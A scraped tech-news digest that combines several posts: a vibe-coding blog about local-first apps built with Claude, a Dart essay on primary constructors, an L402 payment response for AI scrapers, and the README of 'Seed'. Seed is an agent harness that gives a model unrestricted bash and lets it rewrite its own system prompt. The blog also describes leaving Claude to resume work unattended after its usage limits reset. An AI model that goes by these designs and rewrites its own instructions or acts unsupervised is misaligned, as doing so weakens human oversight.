Pirates was immensely successful in its own time, and this exact style of design thinking was then adapted to Microprose's follow-ups—classics like Covert Action and Sword of the Samurai. Pirates essentially changed the studio's whole identity, something that was incredibly hard to do even in those days.

And yet, this entire era of video games feels like a hole that has been carved out of the collective memory of the medium. It is, in truth, a reflection of how niche the computer game market really was in those days; for every Amiga 500 sold, Nintendo sold 23 NESs and 45 Game Boys. The era of IBM PC consolidation and true mass adoption of PC gaming was a few years away in the late 1980s; and by the time the remade DOS version of Pirates arrived in 1993, it was competing with platform-defining games like Wolfenstein 3D. This 1982-1990 era of PC gaming is, really, better known through dubious CDs packed in with magazines, discount-bin collections put out by failing publishers, and abandonware sites.

Signing up is free!

By signing up—again, it costs nothing!—you can read the rest of "The Lost Treasure of Sid Meier's Pirates!," and receive free newsletters and emailed articles from Remap!

Sign up now Already have an account? Sign in

Vibe coding personal apps in mid-2026

Lobsters
www.flourish.org
2026-08-21 03:16:33
Comments...
Original Article

There are a few mobile apps that I’ve wanted for a while, and that are relatively speaking just for me.

Toucan Music showing artwork

  • Places - When people recommend restaurants or cafes to me, I’ve for a long time put them in a Google Maps list. It’s annoying in various ways, for example the page zooms out when you select the list. And I don’t like keeping my data locked into a free service.

  • People - I’m face blind, and struggle to remember people I haven’t met quite a few times. This is especially noticeable networking in a metropolis. The idea is to help me remember who people are, and train me with spaced repetition to learn their faces.

  • Music - This one I made impulsively in the last week. Like many others, I’ve long wanted to organise albums in folders on Spotify. After a quest to switch back to buying MP3s, which failed because it got too complicated, I made a custom Spotify player instead.

So over the last month or so I vibe coded Toucan (choose “local only” to just play with it, any data you put in will stay in your browser). For what it is worth, the source code is here . But I’m not really proud enough of it to say it is a “release” - more on that below.

Architecture

The apps I describe above need to work on mobile and sync data to web to use them on desktop. The usual way of doing this would be to make your own personal software-as-a-service with its own web server and database, and then also a mobile app.

This felt a bit much - clunky, excessive and not very scalable. I’ve long been a fan of what is now called the local-first software movement. The idea is that data is primarily on each device, with a standardised sync server to get it between them. This makes operations extremely fast, as they just act locally. Syncing happens in the background. Think something a bit like Dropbox, but for data in databases.

Some of the data is quite private - particularly people’s faces, but even their names on restaurant recommendations. So I prefer syncing to my own server hosted at an excellent local ISP .

I was disappointed to find there isn’t standard personal data sync server software - I was hoping for something at least as modestly popular as Nextcloud . Which you likely haven’t heard of, but is a self-hosted file syncing server (and more).

In the end Fable and I went for Yjs which is the most popular local-first protocol. I wanted a simple server that just writes to a SQLite database (so I could do hosting and backups very easily). Fable found the obscure Hocuspocus , which is simple and does the job (alas it turned out its format is opaque and binary inside the database file, but that’s another story).

I spent a while wondering if I could write the UI in Rust but in the end went for simple and made a Javascript progressive web app (PWA) . When installed on my Android phone (via Chrome, for some reason it doesn’t work in Firefox), it is just as good as an actual app. The web version and the mobile version are the same code and work just the same. Even with LLM coding agents, that saves a lot of hassle.

Basic process

Toucan Places at a coffee shop

I did most of this on the £18/month Claude plan, using mostly Opus. Fable helped with a bunch of initial planning, but I’m not sure it made a lot of difference. Several of those decisions were bad anyway, and were refactored later.

My processes are commonplace by this point in LLM coding. There’s a plans/ directory where anything large gets designed first. I edit it, make decisions, then clear the context window and tell the agent to implement the plan.

If something is a significant UX or design change, I ask Claude to make an artefact with different options for the design in it. These are surprisingly high quality, especially after a few iterations.

I manage bugs and tasks in a simple to-do file . The agent ticks them off when it has done them, then I QA them and delete them.

Most of these tasks are under a heading “Polish”. That’s because I have to give a lot of product and UX detailed feedback. I take note of them while I’m using the apps as I go about my day. Dozens and dozens of items for each app. This is a major reason I think this is hard to scale to anyone right now - see below.

I’m stubbornly not upgrading to a more expensive AI coding plan. I’ve lots of other things to do, and quite liked being stopped by the 5 hour window, as this is addictive . Later on I learnt you can type !sleep 3h (or whatever) when you run out of tokens, and press Ctrl+B to background it (otherwise you get a 2 minute timeout). Claude will wake up hours later, and carry on with its limits reset, even if I’m not around.

Making it do a good job

Bespoke snapshot testing tool

It’s the case with LLM coding that things which have long been good practice become even more valuable. Such as strictly configured type checking and 100% test coverage - see Jonathan Lange’s Galahad Principle for why “100” is especially magical.

These give the agents basic feedback loops, which they are now reasonably good at responding sensibly to. They won’t, however, set up things like that if you don’t ask them to. Yet.

I managed and coded on a front-end development team for some years, and although we did lots of good things, we never quite got to snapshot testing. And I’ve always wanted to do it.

So, quite early on, Claude created a tool for Toucan that uses a headless browser to take a screenshot of every page of the application. This is really good, partly as an integration test, partly so it can check designs, and partly so I can QA designs. There’s a web view for me (JSON for the LLM), an integrated pixel diff, lots of filter and view options, basic performance measurements, and command line switches to snapshot against another branch.

This was invaluable.

The end result is that almost anything I ask the agent to do … It just does. It usually makes some aesthetic choices I don’t like, or messes up part of the UX. Sometimes I have to argue with it about data structures, or choices of where in the system to cache things.

But generally, it codes the thing. It doesn’t break anything else. The existing tests pass, new ones are added. It is working at the level of a super fast senior software engineer, albeit one with poor contextual awareness. For that wait until late 2027 or 2028 . Last year, I didn’t in my soul think it’d get this good at coding.

I had one serious bug. I’d never tested a new feature to reorder lists, and pressed it on my phone while out. It deleted the list completely and everything in it! The bug was not doing the array manipulation correctly for the local first storage engine. The agent helped me recover the data, add various logging features to be able to see what is happening with syncing, and update documentation to make it clear not to make the same mistake again.

Finally, following Jyn ’s advice, I added a self improvement feedback loop. My version is fairly dumb - a prompt in AGENTS.md to tell it to write anything that caused it difficulty into SELF-IMPROVE.md and keep a count of how often the same problem shows up. I then look at that, see what makes sense, and schedule improvements.

This found things like visually unstable snapshots, churn in node_modules that it would try and work round repeatedly, performance problems, missing tools and so on. It feels very primitive, but I expect we’ll all spend a lot of time supervising this kind of thing in the coming years. “ AI developer experience ”.

Refactoring

Ideology for international standards and simplicity drove me to try and use web components and plain Javascript. I was hoping the Toucan platform could be itself so powerful, that the apps would be quite short, single HTML files. It didn’t work out, and eventually I realised that the code was getting messy, and that build steps are cheap and easy with an LLM anyway, so we did two large refactors.

One was to Typescript, the other to Preact (a lighter weight React). They both went well - the snapshots helped make sure nothing broke, and nothing indeed broke. Everything pixel perfect the same after refactoring. I haven’t, though, spent much time manually checking code quality - see next section.

The initial graphical design was quite ropey. It took a lot of forcefulness to get it to upgrade it, but it was possible. I had to force it to make shared components properly. Someone with more design skills than me could make it really good. Compared though to what I would make by myself, excellent.

Future

Three full on mobile apps, with desktop versions. It’s frankly amazing it is possible to make them with such little effort, and so polished.

They’re dangerously close to something other people could use. If I’d written these 5 years ago, I’d definitely be marketing them and trying to get users.

Right now though that feels slightly … exhausting? They’re a bit too vibe coded to me . A touch eccentric to install and set up. Slightly too specific in what they do.

The open question for me is, how can big collaborative open source projects be run in a world of agents coding? What I really want is to make it easy for anyone to make their own custom, stateful, syncing apps. This feels tricky for the following reasons:

  1. UX and product feedback is a skill, and still hard to do. Expectations on mobile are high, and I think few people will go through the feedback necessary.

  2. Frameworks for cross-platform apps are still quite clunky. The widget sets that look good on web and mobile are limited, PWAs aren’t familiar to end users, coding multiple apps is specialist and hard to deploy.

  3. I don’t truly feel like I own the product. This would be less of a worry if I was running a business. But I haven’t closely scrutinised the code - I didn’t need to. What are people’s expectations for open source in this world? How do we communicate it is something of quality that will be maintained? I’m so used to the code being a key thing being shipped in open source.

  4. Local-first doesn’t have a standardised platform. I can imagine a world where it was as normal as having an email address, to have a personal data store that can sync local first. But it isn’t. It isn’t clear how to do the work that might make that happen in 2026 - just developing it isn’t a strong status signal any more.

How do you think large, open projects will be developed with LLMs, such that they really benefit users?

We Rebuilt the Linux MicroVM Stack on Apple Silicon

Hacker News
encore.dev
2026-08-21 02:59:40
Comments...
Original Article
Encore

Stay in touch

Product updates and engineering deep-dives.

Discord GitHub YouTube

© 2026 Encore

Bringing Primary Constructors to Dart

Lobsters
dart.dev
2026-08-21 02:44:53
Comments...
Original Article
Illustration of Dash with blueprint drawing of primary constructor syntax.
Bringing primary constructors to Dart

(AI disclosure: I wrote every sentence of this myself—including the em dashes.)

My favorite feature in Dart 3.13 is primary constructors . Getting there took a lot of time and iteration before the language team had a design we felt was solid. Since many of you have been patiently waiting for this feature, I thought it would be worth writing about some of the challenges we worked through to bring this large syntax change to Dart.

On syntactic sugar

#

Users have been asking for something like primary constructors for years. It's a highly desired feature, which is kind of strange when you think about it. Primary constructors don't let you do anything you can't already do in Dart. They're just a different—hopefully better!—syntax for what you can already express.

In the 1960s, Peter Landin coined the term "syntactic sugaring" to refer to layering some textual niceties on top of a more fundamental but unpleasant language. Today, we tend to use the term more like a noun and call features like these "syntactic sugar".

The immortal enemy of every programming language is complexity. Even the tiniest feature must be designed, specified, implemented, tested, and documented. The cost is large. I think of complexity in a language like weight in an airplane. Some amount of it is necessary for the thing to work, but you have to be careful to not add weight unnecessarily or risk the whole apparatus not getting off the ground.

From that angle, syntactic sugar seems like a bad idea. It's additional complexity with no additional utility. Even worse, once we add it, we pass complexity onto our users too. Now they have to choose which syntax to use each time they are trying to express something.

When are these kinds of features ever a good idea? (I admit I feel some need to justify this because so much of my work over the past several years has been adding these kinds of features to Dart.) I think syntactic sugar can carry its weight in a couple of ways:

The new way is simply better

#

Despite our somewhat robotic affect and fondness for EBNF , we language designers are human and make mistakes. Further, we are always learning, the ecosystem we serve is constantly discovering new ways to make software, and user expectations drift over time.

When Dart was first designed, you had to use an explicit new keyword to call a constructor. This was deliberate to be familiar to users coming from C++, Java, JavaScript, and other languages. The intent was to make it clearer in the code when a call allocates a new object. As garbage collectors got better and users got more comfortable with automatic memory management, most users found new to be more noise than signal.

(Also, honestly, Dart has always undermined that signal by supporting factory constructors . A factory constructor can return some previously created object even when you invoke it with new .)

In Dart 2.0, we shipped a language change that allowed you to omit the new keyword (and const in many places) when calling a constructor. We still support the old syntax, so this language change is essentially syntactic sugar, but we really only kept the old syntax around for backwards compatibility.

We always want you to use the new shorter syntax. We shipped tooling to automatically remove the unnecessary new keywords, and have a lint that reminds you when you forget. The old syntax is effectively deprecated and over time you see it less and less. If you're new to Dart, you may not have even realized we supported using new in constructor calls.

That means the complexity for supporting constructor calls both with and without new is low. There is a transition cost for existing users to learn the new syntax. But new users will mostly just learn the new way and never encounter the old. There's little cognitive load when choosing between the two syntaxes because you simply always use the new one (and our tools will gently remind you if you don't).

Short of having a time machine to go back and do it right the first time, this is the next best thing we can do to fix a mistake in the language.

The syntax can be much better for a common use case

#

For the first several years of its public existence, Dart had no support for enum declarations. The language didn't let you write:

dart

enum Color { red, blue, yellow }

Instead, you had to write something like this:

dart

class Color {
  static const Color red = Color._(0, 'red');
  static const Color blue = Color._(1, 'blue');
  static const Color yellow = Color._(2, 'yellow');

  const Color._(this.index, this.name);

  final int index;
  final String name;
}

Old Java heads will remember this as Josh Bloch's "typesafe enum pattern". Under the hood, this more verbose class declaration does almost exactly the same thing as an enum declaration in Dart today. Dart enum declarations are almost entirely sugar. (I say "almost" because enum declarations give you exhaustiveness checks in switches.)

However, as you can see from these two examples, enum declarations are really nice sugar. A simple enum declaration unpacks to a lot of Dart code. Now, if almost no one was writing enumerated types, then it might still not be worth adding syntax to optimize for this use case. But in a language that prioritizes type safety and data validation, enums are quite common. The Flutter framework alone defines dozens of them.

A relatively small amount of syntactic sugar can sometimes make a lot of user code shorter and simpler.

The syntax can make the intent clearer

#

The previous section makes it sound like brevity is the whole point. I suppose in a world where we are increasingly paying AI agents per-token costs to read and write code there is a direct financial incentive. But it's not just about character count. Consider:

dart

class Color {
  static const Color red = Color('red', 0xff0000);
  static const Color blue = Color('blue', 0x0000ff);
  static const Color yellow = Color('yellow', 0xff00ff);

  const Color(this.name, this.rgb);

  final String name;
  final int rgb;
}

Is this an enumerated type? By that, I really mean enumerated : Should someone using this class assume that the only instances of Color they will have to worry about are red , blue , or yellow ?

Note that the constructor is public, so other libraries are free to invoke the constructor and create other colors. Is the intent of this class to be a closed list of colors, or an open factory of them with a handful of pre-defined values?

Reading the code, we don't know. The code is a lot of machinery that defines a type and some constants. It looks like the code you'd write if you did want an enum, but the machinery doesn't reveal the intent. The code tells the compiler what the code means, but it doesn't tell a reader how to use it.

If we change this to an enum declaration, then the policy that it's a closed set of values becomes obvious. (And, now that Dart has real enums, choosing to not change this code to an enum declaration likely sends a signal that it's not a closed set.)

For me, this is a compelling reason to add syntactic sugar. Code is written and executed as syntax, but what every user working with the code cares about is what it means —its semantics. To maintain code correctly, we need to understand its intentions and policy. This is increasingly true in a world where AI is often generating code faster than we have time to diligently review it.

Even when it's possible to make the compiler do what you want by cobbling together the machinery of several existing language features, it can be worth it to have syntactic sugar that yields the same behavior because better syntax raises that behavior into a higher level of abstraction where the intended semantics are more obvious. That can reduce the cognitive work required to understand the code even though the entire language is more complex.

Why primary constructors

#

Right, I'm supposed to be talking about primary constructors, not enums and new keywords. (Though—foreshadowing!—I will be talking about new too.) For many years, the #1 open issue on the Dart language repo has been a feature request for data classes. If you don't know, data classes are a feature in Kotlin that lets you define a class with some fields, and the compiler gives you equality, hash code, and some other stuff for free.

If you read through the hundreds of comments on that issue, you'll see that most users are less interested in the value semantics part—the equality and hash code bits. It's mostly about having an easier way to define a class that has a constructor and stores some state.

That functionality actually comes from a different, more fundamental feature in Kotlin: primary constructors . I believe Kotlin got this idea from Scala . Since then, C# and Java have added their own takes on the concept.

(The value semantics part of data classes is useful too. We are exploring that separately . )

There are two key pieces to primary constructors:

  • You can define a constructor by writing a parameter list right inside the class header. That avoids needing to write a keyword or repeat the class name to declare the constructor. It also avoids two levels of nesting and indentation, one for the class body and one for the constructor parameter list, in very simple classes that only contain some state.

  • Inside that parameter list, you can indicate that some parameters should declare corresponding instance fields that are automatically initialized from the parameter.

Without primary constructors or any other kind of syntactic sugar, we have to do something like this in Dart:

dart

class Point {
  final int x;
  final int y;

  Point(int x, int y) : x = x, y = y;
}

In this example, we had to write the class name twice. For each bit of state, we wrote its type twice and its name four times. It's not too heinous in this example because there are only two fields and the names are all short. Once you start dealing with complex domain-specific stuff with long names and piles of state, it gets ugly.

This is not a new problem, and Dart has long had a bit of syntactic sugar called " initializing formals " to help:

dart

class Point {
  final int x;
  final int y;

  Point(this.x, this.y);
}

Using this. on constructor parameters means you only have to write each field's type once and name twice. Better! But you still have to write the class name twice and each field's name twice. Initializing formals are nice, but users still tell us they don't go far enough.

On borrowing features from other languages

#

So some users coming to Dart from another language tell us that they miss a feature. What do we do with that kind of feedback?

Personally, I like borrowing features from other languages. The creators of those languages have already put a lot of work into designing and validating the feature. We can learn a lot from them, and that other language is an existence proof that the feature is conceptually coherent and tractable to implement.

Taking inspiration from other languages can also make our language easier to learn. Unless a user is completely new to programming, they aren't learning Dart from scratch. They come to us with all that they have already learned from other languages. What remains for them to learn is the difference between what they know and what Dart contains. When we borrow syntax and semantics from other languages, we reduce the size of that difference and lower the effort to learn Dart.

This philosophy has been key to Dart's success. From little semicolons all the way up to classes, Dart was designed through and through to be familiar and easy to learn for users of other mainstream languages like JavaScript, Java, and C#.

At the same time, good language design is contextual and holistic. "What's a good pair of shoes?" has very different answers when you are standing on the arctic tundra versus a Hawaiian beach. A language feature that works beautifully in, say, Rust might not slot gracefully into Dart with its distinct syntax, semantics, history, user base, and ecosystem.

I don't want Dart to feel like Frankenstein's monster stitched together from body parts ripped off of other languages. Thus, when the Dart language team looks at features from other languages, we're simultaneously looking at how the feature solves problems in that language's context and also at how well that context matches Dart's own.

Adding primary constructors to Dart

#

We knew users wanted a nicer notation to define a class that initializes some fields from constructor parameters. With primary constructors, you write the constructor and the compiler synthesizes the fields. A language could also go the other way. You write the field declarations and the compiler gives you the constructor for free. Swift does that with memberwise initializers .

A challenge any time your language derives two declarations from one piece of syntax is that one syntax needs to handle all of the various ways you might configure both of those declarations. In our case here, the instance field may be final or not. It might have metadata like @override or doc comments on it. The constructor can be named or unnamed, const or not. A constructor parameter can be positional or named, optional or required. If it's optional, it might need to specify a default value.

We spent some time investigating inferring a constructor from field declarations , but eventually decided that parameters were the more useful declaration for a user to hand-author. Since the constructor is often public API, it's important to control the signature fully: the constructor's name and const -ness, which parameters are named or positional, the order of the positional ones, and their default values.

In order to infer an instance field from a constructor parameter, the only missing piece a user needs to provide is whether the field should be final. It's fairly natural to allow a leading final or var on the parameter to control that. The absence of both modifiers then means the parameter doesn't declare an instance field at all. That's similar to what Scala and Kotlin do with val and var . The result in Dart looks like this:

dart

class Point(
  final int x,
  final int y,
);

(Since primary constructors make empty class bodies more common, we also now allow you to use ; instead of {} for an empty class body.)

On syntactic cliffs

#

This looks pretty nice, but what if the primary constructor also needs a body or an initializer list? One option is to simply say, "Well, in that case, don't use a primary constructor." Syntactic sugar often takes a subset of use cases and offers more concise syntax for them. If you fall outside of that subset, it's reasonable to require the user to fall back to the older, more elaborate syntax.

That's the right call in some cases. But the language team is very mindful that code evolves over time. Let's say you're writing a class. It starts off simple with just a few fields initialized from constructor parameters:

dart

class FormatterOptions({
  final int indent = 0,
  final int pageWidth = 80,
}) {
  // ...
}

A perfect use case for a primary constructor. Later you add some more fields and parameters. Great. Before long, you have a constructor with a bunch of parameters declaring fields:

dart

class FormatterOptions(
  final int indent = 0,
  final int pageWidth = 80,
  final Version? languageVersion,
  final TrailingCommas? trailingCommas,
  final bool followLinks = false,
  final Show show = Show.changed,
  final Output output = Output.write,
  final Summary summary = Summary.none,
  final bool setExitIfChanged = false,
  final List<String> experimentFlags = const [],
) {
  // ...
}

Then one day you decide you want to do a little logging in the constructor body. If primary constructors didn't support bodies, then you would have to convert that entire primary constructor into an in-body constructor:

dart

class FormatterOptions {
  final int indent;
  final int pageWidth;
  final Version? languageVersion;
  final TrailingCommas? trailingCommas;
  final bool followLinks;
  final Show show;
  final Output output;
  final Summary summary;
  final bool setExitIfChanged;
  final List<String> experimentFlags;

  FormatterOptions({
    this.indent = 0,
    this.pageWidth = 80,
    this.languageVersion,
    this.trailingCommas,
    this.followLinks,
    this.show = Show.changed,
    this.output = Output.write,
    this.summary = Summary.none,
    this.setExitIfChanged = false,
    this.experimentFlags = const [],
  }) {
    log.write('Created options.');
  }

  // ...
}

That's doable. The Dart SDK includes lots of quick-fix tooling that can do these exact kinds of changes for you with a click of a button, so it's not mechanically hard to change the code. But it's still a large textual change. You just wanted to add a line of logging and now you have 20 lines of changes to look at.

On the language team, we call this a "syntactic cliff". You want to make a small semantic change (here, adding a line of logging), but what you want to express is just slightly outside the bounds of what the optimized syntax supports. You fall off the nice plateau of that syntax and land on the more verbose terrain below.

It doesn't feel good when that happens. You're trying to freely explore the semantic space of your program, but it feels like some small steps in meaning are just out of reach in terms of syntax. When we're designing language features, we spend a lot of time talking about these kinds of cliffs and trying to avoid them when we can.

We want the language to feel like smooth terrain where small semantic changes only require equally small textual ones. When you are doing a code review, we want the changed lines to reflect the behavioral changes in the program, and not meaningless lateral moves through the language's grammar.

Primary constructor bodies

#

Kotlin's solution is to allow an initializer block inside the class body. In Dart, we support something similar, but using the this keyword:

dart

class FormatterOptions(
  final int indent = 0,
  final int pageWidth = 80,
  final Version? languageVersion,
  final TrailingCommas? trailingCommas,
  final bool followLinks = false,
  final Show show = Show.changed,
  final Output output = Output.write,
  final Summary summary = Summary.none,
  final bool setExitIfChanged = false,
  final List<String> experimentFlags = const [],
) {
  this {
    log.write('Created options.');
  }
}

The initializer block gives you a place to fill in a body or initializer list for the primary constructor. It's also a natural place to add a doc comment for the constructor. (If you put the doc comment above the class header, it applies to the entire class, not just the primary constructor.)

These initializer blocks are sort of syntactic sugar on top of syntactic sugar. We don't need them, but they help prevent users from falling off a syntactic cliff. You can start with a primary constructor while your class is simple, and the language never forces you out of that choice as your class evolves.

On semantic bundling

#

Now, even though the language won't force you to turn your primary constructor into an in-body constructor, you might still want to define a constructor inside the class body. Classes can have a lot of things going on in the class header: type parameters, an extends clause, mixins in a with clause, and maybe implements too. The constructor parameters might have doc comments. It can get cluttered and messy up there.

Or you might have a class with multiple constructors where none of them is clearly more "primary" than the others. (When you have a primary constructor, all other non-factory constructors for the class must redirect to it.) Alternatively, maybe the most fundamental constructor is private, and you think it looks confusing to put a private constructor in the highly visible class header.

For these reasons and more, Dart still supports constructors declared inside the class body. We don't think of primary constructors as inherently superior to in-body constructors, just different and better suited to certain use cases.

However, only a primary constructor has access to the var and final syntactic sugar on a parameter that implicitly declares an instance field and initializes it from that parameter. Those two features—declaring a constructor in the class header and constructor parameters that induce fields—are bundled together. You can't use the latter without the former.

In general, we try hard with the language to not put the user in a position where they want only one of two behaviors but the language ties them together and makes them take both. For example, when we added class modifiers , we deliberately added both final and sealed . They are quite similar, but final lets you prevent subclassing without also opting in to exhaustiveness checking.

Deciding what to bundle is a balancing act. I believe a big part of what gives each programming language its character and fitness for certain domains is how it chooses to map semantics onto syntax. Part of that is where it hangs multiple behaviors off a single piece of text. For example, in most object-oriented languages, making a class a subclass of another also makes it a subtype in the static type system. That's not strictly necessary, as private inheritance in C++ shows. But for most object-oriented languages, that coupling seems to make sense.

It might seem ideal to have a strict one-to-one mapping of behavior to text, but bundling behavior can make it easier to express common patterns. Think about how much easier it is to walk into a burger joint and say "I'll have a #2," instead of, "a double cheeseburger with mustard but no ketchup, medium fries, and a medium fountain drink."

When it comes to combining declaring parameters with primary constructors, this felt like a relatively safe bundling. Declaring parameters are themselves syntactic sugar and don't let you express anything you can't already express in a normal class declaration. If you don't want a constructor to be a primary constructor for whatever reason, you have to give up the syntactic convenience of declaring parameters. But brevity is all you give up. You can still define your class with exactly the API and semantics you want.

It would be nice to be able to use declaring parameters inside in-body constructors, and we worked on a proposal to allow it. Ultimately, we felt there were too many negative consequences. If some random constructor anywhere in the class body can implicitly declare instance fields in its parameter list, then it gets harder to find all the state a class stores and reason about it. This is less of a problem with primary constructors because the primary constructor is always right there at the top of the class.

Shorter in-body constructors

#

Another source of verbosity with Dart's existing constructor declaration syntax is having to repeat the class name. It doesn't look too bad with short names in examples like Point , but when you have a class name like, say, AnimatedFractionallySizedBox , then repeating that entire 28-character identifier takes up a lot of space that could otherwise be spent on the constructor's parameter list.

That problem we can fix. Dart's constructor syntax was inherited from Java and C#, which in turn inherited it from C++. Bjarne Stroustrup chose to use the class name to minimize the number of new keywords and mirror what a constructor call looks like. It's a cute syntax, but even he admits "this may have been overly clever."

Having one part of a language's syntax mirror another part can be a useful tool to help users understand what the code means. When two pieces of code look the same, it sends a signal that they probably relate to each other in some way. And if declarations look like call sites, then once you've read the declaration, you know what to write to call it.

At least, that's the idea. But Dart already fails to follow through on that principle. It kind of works for function and method declarations if you ignore the type annotations. Getters are declared using a get keyword without being invoked using one. Operators are declared using a special operator keyword and have the right-hand parameter in parentheses even though you don't need parentheses to call the operator. Even in functions, Dart uses {...} to declare named parameters, which looks nothing like how you pass them at the call site.

Most other object-oriented languages don't use the class name to define a constructor. Swift, Ruby, and Objective-C use init() . Python sprinkles on some underscores and does __init__() . JavaScript, TypeScript, and Kotlin use constructor . PHP uses __construct .

This led us to conclude that repeating the class name for a constructor wasn't really buying us much in terms of familiarity or consistency. And there is a cost users must pay. Names are often verbose, and every human, template processor, code generator, AI agent producing code, or future metaprogramming feature that wants to inject a constructor into the class needs to know to use the class name. It's almost like each class has its own special little contextual keyword.

That problem is particularly acute in another feature we're working on right now: static extension members . Extensions in Dart allow you to attach instance members to existing types, but they don't currently let you add static members or constructors. We'd like to support those too, but it raises a tricky edge case. Extensions can be defined not just on classes, but any static type, including typedefs. Consider:

dart

class SomeClass {}

typedef OtherName = SomeClass;

extension on OtherName {
  // ...
}

If you want to add a constructor in that extension, what name do you use: OtherName or SomeClass ? Keep in mind that from the type system's perspective, those are the exact same type. There is no class named OtherName anywhere in the program. The typedef isn't creating a new named type, it's just defining an ephemeral alias that can be used to refer to some other type.

We could require you to use OtherName because that's the name that you wrote at the top of the extension declaration. But that violates the principle that a type can be replaced with a typedef that refers to the same type without breaking anything. Usually, swapping out a reference to some type with a typedef is a transparent change. Here, and only here, the typedef name would become significant.

Or we could go the other way and say you have to use the name of the underlying class that the typedef resolves to. But that breaks the encapsulation of the typedef. The typedef could be in another library and refer to a private class whose name you can't even access in your library!

All the complexity here is a problem we created ourselves by using the class name as a magic identifier to mean "constructor". If we just pick a universal keyword, the problem goes away.

So that's what we did. In Dart 3.13, you can use new instead of the class name to declare a non-factory constructor, and factory to declare a factory constructor. If you want a named constructor, put the name after the new or factory keyword.

dart

// Before Dart 3.13:
class LongClassName {
  LongClassName();                          // Unnamed constructor.
  LongClassName.create();                   // Named constructor.
}

class AnotherLongClass {
  factory AnotherLongClass() { ... }        // Factory constructor.
  factory AnotherLongClass.create() { ... } // Named factory constructor.
}

// New Dart 3.13 syntax:
class LongClassName {
  new();                                    // Unnamed constructor.
  new create();                             // Named constructor.
}

class AnotherLongClass {
  factory () { ... }                        // Factory constructor.
  factory create() { ... }                  // Named factory constructor.
}

(The syntax for redirecting constructors is similar.)

This is in the category of syntactic sugar that we think is strictly better. Unless your class name is shorter than three letters, the new syntax is always shorter. It's more regular. Aside from being unfamiliar right now (a feeling that will pass), we think it's just better all around.

However, using new to define a constructor does lead to one weird combination. If you also want that constructor to be constant, you need a const modifier:

dart

class SomeClass {
  const new() { ... }
}

I admit that const new looks oxymoronic. This is especially true for Dart users who have been around long enough to remember when every constructor invocation started with either new or const . In that world, the two were directly opposed. But you no longer write new to invoke constructors, so the way I think of it now, the new keyword mostly just means " declare a constructor" and const is always a modifier that means "make the thing constant".

Thank you for revisiting this long design process with me. We spent so long mulling over every detail of the semantics and syntax of constructors leading up to Dart 3.13 that I could write another five thousand words talking about it. We considered putting the primary constructor parameter list after the extends , implements , and with clauses in the class header. We debated every corner of a class body to decide where primary constructor parameters should be in scope. Should we allow a superclass call in the class header? What does that mean for the with clause? What happens if you have a factory constructor named factory ?

Constructors are fundamental to object-oriented programming and Dart already spends a lot of language complexity on them. Weaving primary constructors into Dart required very carefully mending dozens of wrinkles in the fabric of the language. I hope the result feels seamless, but I'm sure it's not perfect.

If you run into areas of the new features that feel weird or arbitrary, I hope this long essay helps them make more sense. If not, let us know. The language is always evolving and we're always trying to make it better. In the meantime, we hope you find that your code in Dart 3.13 feels cleaner, simpler, and more enjoyable to read and write.

Show HN: Argentic – An L402 Lightning toll booth for AI scraping agents

Hacker News
Argentic.network
2026-08-21 02:24:16
Comments...
Original Article
{"status":"payment_required","invoice":"lnbc100n1p4gspl8pp56mtpyj5wzl09ldl0pvh9fd5kk7meqw9fj0h2ksu5dl5xusfdw3kqcqzyssp59ua7nd9ghmmdsmhjtn24wmrs4guuvcztr4s63q5f8n2dzser5pls9q7sqqqqqqqqqqqqqqqqqqqsqqqqqysgqdp52pex77re8gsxsar5wpen5te0v9exwetww35kxtnwv468wmmjdvhsmqz9gxqyz5vqrzjqwryaup9lh50kkranzgcdnn2fgvx390wgj5jd07rwr3vxeje0glcll7aqckzka0flcqqqqlgqqqqqeqqjqcyz8m7ptv23shw38hjc5k596xhdffzhepfpvelx5uccjknpzfe48lq2xtyk4grlpckaqvg2270wpe5m9rcncqh6w0pf56af8wdncr0gp7x6wfg","payment_hash":"d6d6124a8e17de5fb7ef0b2e54b696b7b79038a993eeab43946fe86e412d746c","amount_sats":10}

The Religious Experience of Philip K. Dick by R. Crumb (1986)

Hacker News
philipdick.com
2026-08-21 01:39:39
Comments...
Original Article
Timed out getting readerview for https://philipdick.com/resources/miscellaneous/the-religious-experience-of-philip-k-dick-by-r-crumb-from-weirdo-17/

Japan tried to build an operating system for the world, the US intervened

Hacker News
www.xda-developers.com
2026-08-21 01:31:34
Comments...

Seed: Minimal, self-modifying agent harness

Hacker News
github.com
2026-08-21 01:20:50
Comments...
Original Article

A seed agent: the smallest starting point from which an agent can grow.

There is no framework here. The entire frozen layer is seed.py — a small loop that connects a language model to exactly one tool ( exec , which runs bash) and loads its system prompt from a file the agent itself owns and may rewrite. Everything an agent normally gets from a framework — tools, memory, skills, conventions — must instead be grown by the agent, session by session, into its self/ directory.

Plant one

mkdir my-agent && cd my-agent
uvx --from git+https://github.com/vivekhaldar/seed.git seed

First run copies seed.py and run_seed.sh into this directory (never overwriting a file that already exists), germinates self/SELF.md , and commits those files together in a fresh git repo here — the loop is part of this individual's history, not only self/ . Then it drops you into a REPL. Start talking. Everything the agent wants to keep must be written into self/ — sessions are ephemeral and nothing else survives.

Come back to the same agent with the local runner — no need to uvx again:

./run_seed.sh
./run_seed.sh -m gemini-2.5-pro

A verbatim transcript of every session is recorded to self/sessions/*.json (updated after each turn). This is a flight recorder, not memory: the agent never loads it at boot, but you can read it — and the agent may grow tools to study its own past.

One seed, many individuals: each directory you plant in grows a different agent, diverging based on what it experiences.

Configuration

Models and keys are handled entirely by llm (Simon Willison's library). The default model is openai-codex/gpt-5.6-sol , which uses the ChatGPT login from the Codex CLI:

codex login                      # one-time, per machine
./run_seed.sh                    # uses openai-codex/gpt-5.6-sol
./run_seed.sh -m gemini-2.5-pro  # or override it for one session

Bundled providers: OpenAI via a Codex subscription or API key, Anthropic, Gemini, and OpenRouter (one OpenRouter key unlocks hundreds of models).

Design

Why it's shaped this way — McCarthy's metacircular eval, homoiconicity, the prior art, and the risks we consciously accepted: docs/DESIGN.md .

Btrfs Snapshot Integration in KDE

Lobsters
bharadwajraju.com
2026-08-21 01:14:08
Comments...
Original Article

I have been working on integrating Btrfs snapshots into KDE software. The central part of this work has been realized in the form of KIO Snapshot , which has just been released. Here I want to discuss what it is, how it works, how it was developed, and the surrounding work across KDE .

Background

Among the key features of Btrfs is the ability to take efficient snapshots of subvolumes ( Subvolumes are independently manageable directory trees within your filesystem. You can snapshot or rollback a subvolume atomically and independently from the rest of your filesystem. Snapshots are just special cases of subvolumes. ) . They are efficient because Btrfs makes snapshots share file extents with the originals, so snapshots only take up additional space where they differ from the original. Thus it is cheap to take snapshots frequently without worrying about disk space.

